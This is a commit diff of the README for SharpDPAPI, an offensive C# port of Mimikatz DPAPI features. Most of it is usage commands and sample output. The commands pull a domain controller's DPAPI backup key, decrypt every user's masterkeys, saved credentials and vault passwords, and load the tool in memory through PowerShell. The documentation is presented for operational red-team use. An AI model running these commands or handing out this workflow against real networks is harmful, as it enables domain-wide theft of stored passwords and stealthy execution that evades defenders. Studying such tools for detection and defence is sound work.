|
2 | 2 |
|
3 | 3 | ---- |
4 | 4 |
|
5 | | -SharpDPAPI is a C# port of the DPAPI backup key retrieval logic (**lsadump::backupkeys**) from [@gentilkiwi](https://twitter.com/gentilkiwi)'s [Mimikatz](https://github.com/gentilkiwi/mimikatz/) project. |
| 5 | +SharpDPAPI is a C# port of some DPAPI functionality from [@gentilkiwi](https://twitter.com/gentilkiwi)'s [Mimikatz](https://github.com/gentilkiwi/mimikatz/) project. |
6 | 6 |
|
7 | | -**I did not come up with this logic, it is simply a port from Mimikatz in order to better understand the process.** |
8 | | - |
9 | | -You will need administrative rights on the domain controller you're attempting to retrieve the DPAPI backup key for. |
| 7 | +**I did not come up with this logic, it is simply a port from Mimikatz in order to better understand the process and operationalize it to fit our workflow.** |
10 | 8 |
|
11 | 9 | [@harmj0y](https://twitter.com/harmj0y) is the primary author of this port. |
12 | 10 |
|
13 | 11 | SharpDPAPI is licensed under the BSD 3-Clause license. |
14 | 12 |
|
15 | | -## Usage |
| 13 | + |
| 14 | +## Table of Contents |
| 15 | + |
| 16 | +- [SharpDPAPI](#sharpdpapi) |
| 17 | + * [Table of Contents](#table-of-contents) |
| 18 | + * [Command Line Usage](#command-line-usage) |
| 19 | + * [Commands](#commands) |
| 20 | + + [backupkey](#backupkey) |
| 21 | + + [masterkeys](#masterkeys) |
| 22 | + + [credentials](#credentials) |
| 23 | + + [vaults](#vaults) |
| 24 | + + [triage](#triage) |
| 25 | + * [Compile Instructions](#compile-instructions) |
| 26 | + + [Targeting other .NET versions](#targeting-other-net-versions) |
| 27 | + + [Sidenote: Running SharpDPAPI Through PowerShell](#sidenote-running-sharpdpapi-through-powershell) |
| 28 | + |
| 29 | +## Command Line Usage |
| 30 | + |
| 31 | + C:\Temp>SharpDPAPI.exe |
| 32 | + |
| 33 | + __ _ _ _ ___ |
| 34 | + (_ |_ _. ._ ._ | \ |_) /\ |_) | |
| 35 | + __) | | (_| | |_) |_/ | /--\ | _|_ |
| 36 | + | |
| 37 | + v1.1 |
| 38 | + |
| 39 | + |
| 40 | + Triage all reachable masterkey files, use a domain backup key to decrypt all that are found |
| 41 | + |
| 42 | + SharpDPAPI masterkeys </pvk:BASE64... | /pvk:key.pvk> |
| 43 | + |
| 44 | + |
| 45 | + Triage all reachable Credential files, Vaults, or both using a domain DPAPI backup key to decrypt masterkeys: |
| 46 | + |
| 47 | + SharpDPAPI <credentials|vaults|triage> </pvk:BASE64... | /pvk:key.pvk> |
| 48 | + |
| 49 | + |
| 50 | + Triage all reachable Credential files or Vaults, or both optionally using the GUID masterkey mapping to decrypt any matches: |
| 51 | + |
| 52 | + SharpDPAPI <credentials|vaults|triage> [GUID1:SHA1 GUID2:SHA1 ...] |
| 53 | + |
| 54 | + |
| 55 | + Triage a specific Credential file or folder, using GUID lookups or a domain backup key for decryption: |
| 56 | + |
| 57 | + SharpDPAPI credentials /target:C:\FOLDER\ [GUID1:SHA1 GUID2:SHA1 ... | /pvk:BASE64... | /pvk:key.pvk] |
| 58 | + SharpDPAPI credentials /target:C:\FOLDER\FILE [GUID1:SHA1 GUID2:SHA1 ... | /pvk:BASE64... | /pvk:key.pvk] |
| 59 | + |
| 60 | + |
| 61 | + Triage a specific Vault folder, using GUID lookups or a domain backup key for decryption: |
| 62 | + |
| 63 | + SharpDPAPI vaults /target:C:\FOLDER\ [GUID1:SHA1 GUID2:SHA1 ... | /pvk:BASE64... | /pvk:key.pvk] |
| 64 | + |
| 65 | + |
| 66 | + Retrieve a domain controller's DPAPI backup key, optionally specifying a DC and output file: |
| 67 | + |
| 68 | + SharpDPAPI backupkey [/server:primary.testlab.local] [/file:key.pvk] |
| 69 | + |
| 70 | + |
| 71 | +## Commands |
| 72 | + |
| 73 | +### backupkey |
| 74 | + |
| 75 | +The **backupkey** command will retrieve the domain DPAPI backup key from a domain controller using the **LsaRetrievePrivateData** API approach [from Mimikatz](https://github.com/gentilkiwi/mimikatz/blob/2fd09bbef0754317cd97c01dbbf49698ae23d9d2/mimikatz/modules/kuhl_m_lsadump.c#L1882-L1927). This private key can then be used to decrypt master key blobs for any user on the domain. And even better, the key never changes ;) |
| 76 | + |
| 77 | +Domain admin (or equivalent) rights are needed to retrieve the key from a remote domain controller. |
| 78 | + |
| 79 | +This base64 key blob can be decoded to a binary .pvk file that can then be used with Mimikatz' **dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk** module, or used in blob form with the **masterkeys**, **credentials**, or **vault** SharpDPAPI commands. |
| 80 | + |
| 81 | +By default, SharpDPAPI will try to determine the current domain controller via the **DsGetDcName** API call. A server can be specified with `/server:COMPUTER.domain.com`. If you want the key saved to disk instead of output as a base64 blob, use `/file:key.pvk`. |
16 | 82 |
|
17 | 83 | Retrieve the DPAPI backup key for the current DC: |
18 | 84 |
|
19 | 85 | C:\Temp>SharpDPAPI.exe backupkey |
20 | 86 |
|
21 | | - [*] Current domain controller : PRIMARY.testlab.local |
22 | | - [*] Preferred backupkey Guid : 32d021e7-ab1c-4877-af06-80473ca3e4d8 |
23 | | - [*] Full preferred backupKeyName : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8 |
24 | | - [*] Key : |
25 | | - HvG1sAAAAAABAAAAAAAAAAAA... |
| 87 | + __ _ _ _ ___ |
| 88 | + (_ |_ _. ._ ._ | \ |_) /\ |_) | |
| 89 | + __) | | (_| | |_) |_/ | /--\ | _|_ |
| 90 | + | |
| 91 | + v1.1 |
| 92 | + |
| 93 | + |
| 94 | + [*] Action: Retrieve domain DPAPI backup key |
| 95 | + |
26 | 96 |
|
27 | | -This base64 key blob can be decoded to a binary .pvk file that can then be used with Mimikatz' **dpapi::masterkey /in:<MASTERKEY> /pvk:backupkey.pvk** module |
| 97 | + [*] Using current domain controller : PRIMARY.testlab.local |
| 98 | + [*] Preferred backupkey Guid : 32d021e7-ab1c-4877-af06-80473ca3e4d8 |
| 99 | + [*] Full preferred backupKeyName : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8 |
| 100 | + [*] Key : |
| 101 | + HvG1sAAAAAABAAAAAAAAAAAAAACUBAAABwIAAACkAABSU0EyAAgAAA...(snip)... |
28 | 102 |
|
29 | 103 |
|
30 | 104 | Retrieve the DPAPI backup key for the specified DC, output to a file: |
31 | 105 |
|
32 | | - C:\Temp>SharpDPAPI.exe backupkey server=primary.testlab.local file=backupkey.pvk |
| 106 | + C:\Temp>SharpDPAPI.exe backupkey /server:primary.testlab.local /file:key.pvk |
| 107 | + |
| 108 | + __ _ _ _ ___ |
| 109 | + (_ |_ _. ._ ._ | \ |_) /\ |_) | |
| 110 | + __) | | (_| | |_) |_/ | /--\ | _|_ |
| 111 | + | |
| 112 | + v1.1 |
| 113 | + |
| 114 | + |
| 115 | + [*] Action: Retrieve domain DPAPI backup key |
| 116 | + |
| 117 | + |
| 118 | + [*] Using server : primary.testlab.local |
| 119 | + [*] Preferred backupkey Guid : 32d021e7-ab1c-4877-af06-80473ca3e4d8 |
| 120 | + [*] Full preferred backupKeyName : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8 |
| 121 | + [*] Backup key written to : key.pvk |
| 122 | + |
| 123 | + |
| 124 | +### masterkeys |
| 125 | + |
| 126 | +The **masterkeys** command will search for any readable masterkey files and decrypt them using a supplied domain DPAPI backup key to decrypt the masterkeys. It will return a set of masterkey {GUID}:SHA1 mappings. |
| 127 | + |
| 128 | +The domain backup key can be in base64 form (`/pvk:BASE64...`) or file form (`/pvk:key.pvk`). |
| 129 | + |
| 130 | + C:\Temp>SharpDPAPI.exe masterkeys /pvk:key.pvk |
| 131 | + |
| 132 | + __ _ _ _ ___ |
| 133 | + (_ |_ _. ._ ._ | \ |_) /\ |_) | |
| 134 | + __) | | (_| | |_) |_/ | /--\ | _|_ |
| 135 | + | |
| 136 | + v1.1 |
| 137 | + |
| 138 | + |
| 139 | + [*] Action: Triage Masterkey Files |
| 140 | + |
| 141 | + [*] Found MasterKey : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa |
| 142 | + [*] Found MasterKey : C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a |
| 143 | + ...(snip)... |
| 144 | + |
| 145 | + [*] Master key cache: |
| 146 | + |
| 147 | + {42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316...(snip)... |
| 148 | + ...(snip)... |
| 149 | + |
| 150 | + |
| 151 | +### credentials |
| 152 | + |
| 153 | +The **credentials** command will search for Credential files and decrypt them with either a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) or a {GUID}:SHA1 DPAPI lookup table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command. |
| 154 | + |
| 155 | +A specific credential file (or folder of credentials) can be specified with `/target:FILE` or `/target:C:\Folder\`. |
| 156 | + |
| 157 | +Using domain DPAPI GUID mappings: |
| 158 | + |
| 159 | + C:\Temp>SharpDPAPI.exe credentials {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)... |
| 160 | + |
| 161 | + __ _ _ _ ___ |
| 162 | + (_ |_ _. ._ ._ | \ |_) /\ |_) | |
| 163 | + __) | | (_| | |_) |_/ | /--\ | _|_ |
| 164 | + | |
| 165 | + v1.1 |
| 166 | + |
| 167 | + |
| 168 | + [*] Action: DPAPI Credential Triage |
33 | 169 |
|
34 | | - [*] Using server : primary.testlab.local |
35 | | - [*] Preferred backupkey Guid : 32d021e7-ab1c-4877-af06-80473ca3e4d8 |
36 | | - [*] Full preferred backupKeyName : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8 |
37 | | - [*] Backup key written to : backupkey.pvk |
| 170 | + [*] Triaging Credentials for ALL users |
| 171 | + |
| 172 | + |
| 173 | + Folder : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\ |
| 174 | + |
| 175 | + CredFile : 48C08A704ADBA03A93CD7EC5B77C0EAB |
| 176 | + |
| 177 | + guidMasterKey : {885342c6-028b-4ecf-82b2-304242e769e0} |
| 178 | + size : 436 |
| 179 | + flags : 0x20000000 (CRYPTPROTECT_SYSTEM) |
| 180 | + algHash/algCrypt : 32772/26115 |
| 181 | + description : Local Credential Data |
| 182 | + |
| 183 | + LastWritten : 1/22/2019 2:44:40 AM |
| 184 | + TargetName : Domain:target=TERMSRV/10.4.10.101 |
| 185 | + TargetAlias : |
| 186 | + Comment : |
| 187 | + UserName : DOMAIN\user |
| 188 | + Credential : Password! |
| 189 | + |
| 190 | + ...(snip)... |
| 191 | + |
| 192 | + |
| 193 | +Using a domain DPAPI backup key: |
| 194 | + |
| 195 | + C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)... |
| 196 | + |
| 197 | + __ _ _ _ ___ |
| 198 | + (_ |_ _. ._ ._ | \ |_) /\ |_) | |
| 199 | + __) | | (_| | |_) |_/ | /--\ | _|_ |
| 200 | + | |
| 201 | + v1.1 |
| 202 | + |
| 203 | + |
| 204 | + [*] Action: DPAPI Credential Triage |
| 205 | + |
| 206 | + [*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings! |
| 207 | + |
| 208 | + [*] Triaging Credentials for current user |
| 209 | + |
| 210 | + |
| 211 | + Folder : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\ |
| 212 | + |
| 213 | + CredFile : 48C08A704ADBA03A93CD7EC5B77C0EAB |
| 214 | + |
| 215 | + guidMasterKey : {885342c6-028b-4ecf-82b2-304242e769e0} |
| 216 | + size : 436 |
| 217 | + flags : 0x20000000 (CRYPTPROTECT_SYSTEM) |
| 218 | + algHash/algCrypt : 32772/26115 |
| 219 | + description : Local Credential Data |
| 220 | + |
| 221 | + LastWritten : 1/22/2019 2:44:40 AM |
| 222 | + TargetName : Domain:target=TERMSRV/10.4.10.101 |
| 223 | + TargetAlias : |
| 224 | + Comment : |
| 225 | + UserName : DOMAIN\user |
| 226 | + Credential : Password! |
| 227 | + |
| 228 | + ...(snip)... |
| 229 | + |
| 230 | + |
| 231 | +### vaults |
| 232 | + |
| 233 | +The **vaults** command will search for Vault files and decrypt them with either a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) or a {GUID}:SHA1 DPAPI lookup table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command. |
| 234 | + |
| 235 | +The Policy.vpol folder in the Vault folder is decrypted with any supplied DPAPI keys to retrieve the associated AES decryption keys, which are then used to decrypt any associated .vcrd files. |
| 236 | + |
| 237 | +A specific vault folder can be specified with `/target:C:\Folder\`. |
| 238 | + |
| 239 | +Using domain DPAPI GUID mappings: |
| 240 | + |
| 241 | + C:\Temp>SharpDPAPI.exe vaults {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)... |
| 242 | + __ _ _ _ ___ |
| 243 | + (_ |_ _. ._ ._ | \ |_) /\ |_) | |
| 244 | + __) | | (_| | |_) |_/ | /--\ | _|_ |
| 245 | + | |
| 246 | + v1.1 |
| 247 | + |
| 248 | + |
| 249 | + [*] Action: DPAPI Vault Triage |
| 250 | + |
| 251 | + [*] Triaging Vaults for ALL users |
| 252 | + |
| 253 | + |
| 254 | + [*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28 |
| 255 | + |
| 256 | + VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 |
| 257 | + Name : Web Credentials |
| 258 | + guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3} |
| 259 | + size : 240 |
| 260 | + flags : 0x20000000 (CRYPTPROTECT_SYSTEM) |
| 261 | + algHash/algCrypt : 32772/26115 |
| 262 | + description : |
| 263 | + aes128 key : EDB42294C0721F2F1638A40F0CD67CD8 |
| 264 | + aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793 |
| 265 | + |
| 266 | + LastWritten : 10/12/2018 12:10:42 PM |
| 267 | + FriendlyName : Internet Explorer |
| 268 | + Identity : admin |
| 269 | + Resource : https://10.0.0.1/ |
| 270 | + Authenticator : Password! |
| 271 | + |
| 272 | + ...(snip)... |
| 273 | + |
| 274 | + |
| 275 | +Using a domain DPAPI backup key: |
| 276 | + |
| 277 | + C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)... |
| 278 | + __ _ _ _ ___ |
| 279 | + (_ |_ _. ._ ._ | \ |_) /\ |_) | |
| 280 | + __) | | (_| | |_) |_/ | /--\ | _|_ |
| 281 | + | |
| 282 | + v1.1 |
| 283 | + |
| 284 | + |
| 285 | + [*] Action: DPAPI Vault Triage |
| 286 | + |
| 287 | + [*] Triaging Vaults for ALL users |
| 288 | + |
| 289 | + |
| 290 | + [*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28 |
| 291 | + |
| 292 | + VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 |
| 293 | + Name : Web Credentials |
| 294 | + guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3} |
| 295 | + size : 240 |
| 296 | + flags : 0x20000000 (CRYPTPROTECT_SYSTEM) |
| 297 | + algHash/algCrypt : 32772/26115 |
| 298 | + description : |
| 299 | + aes128 key : EDB42294C0721F2F1638A40F0CD67CD8 |
| 300 | + aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793 |
| 301 | + |
| 302 | + LastWritten : 10/12/2018 12:10:42 PM |
| 303 | + FriendlyName : Internet Explorer |
| 304 | + Identity : admin |
| 305 | + Resource : https://10.0.0.1/ |
| 306 | + Authenticator : Password! |
| 307 | + |
| 308 | + ...(snip)... |
| 309 | + |
| 310 | + |
| 311 | +### triage |
| 312 | + |
| 313 | +The **triage** command runs the [credentials](#credentials) and [vaults](#vaults) triage commands simultaneously. |
38 | 314 |
|
39 | 315 |
|
40 | 316 | ## Compile Instructions |
41 | 317 |
|
42 | 318 | We are not planning on releasing binaries for SharpDPAPI, so you will have to compile yourself :) |
43 | 319 |
|
44 | | -SharpDPAPI has been built against .NET 3.5 and is compatible with [Visual Studio 2015 Community Edition](https://go.microsoft.com/fwlink/?LinkId=532606&clcid=0x409). Simply open up the project .sln, choose "release", and build. |
| 320 | +SharpDPAPI has been built against .NET 3.5 and is compatible with [Visual Studio 2015 Community Edition](https://go.microsoft.com/fwlink/?LinkId=532606&clcid=0x409). Simply open up the project .sln, choose "Release", and build. |
| 321 | + |
| 322 | +### Targeting other .NET versions |
| 323 | + |
| 324 | +SharpDPAPI's default build configuration is for .NET 3.5, which will fail on systems without that version installed. To target SharpDPAPI for .NET 4 or 4.5, open the .sln solution, go to **Project** -> **SharpDPAPI Properties** and change the "Target framework" to another version. |
| 325 | + |
| 326 | +### Sidenote: Running SharpDPAPI Through PowerShell |
| 327 | + |
| 328 | +If you want to run SharpDPAPI in-memory through a PowerShell wrapper, first compile the SharpDPAPI and base64-encode the resulting assembly: |
| 329 | + |
| 330 | + [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\SharpDPAPI.exe")) | Out-File -Encoding ASCII C:\Temp\SharpDPAPI.txt |
| 331 | + |
| 332 | +SharpDPAPI can then be loaded in a PowerShell script with the following (where "aa..." is replaced with the base64-encoded SharpDPAPI assembly string): |
| 333 | + |
| 334 | + $SharpDPAPIAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa...")) |
| 335 | + |
| 336 | +The Main() method and any arguments can then be invoked as follows: |
| 337 | + |
| 338 | + [SharpDPAPI.Program]::Main("dump /luid:3050142".Split()) |
0 commit comments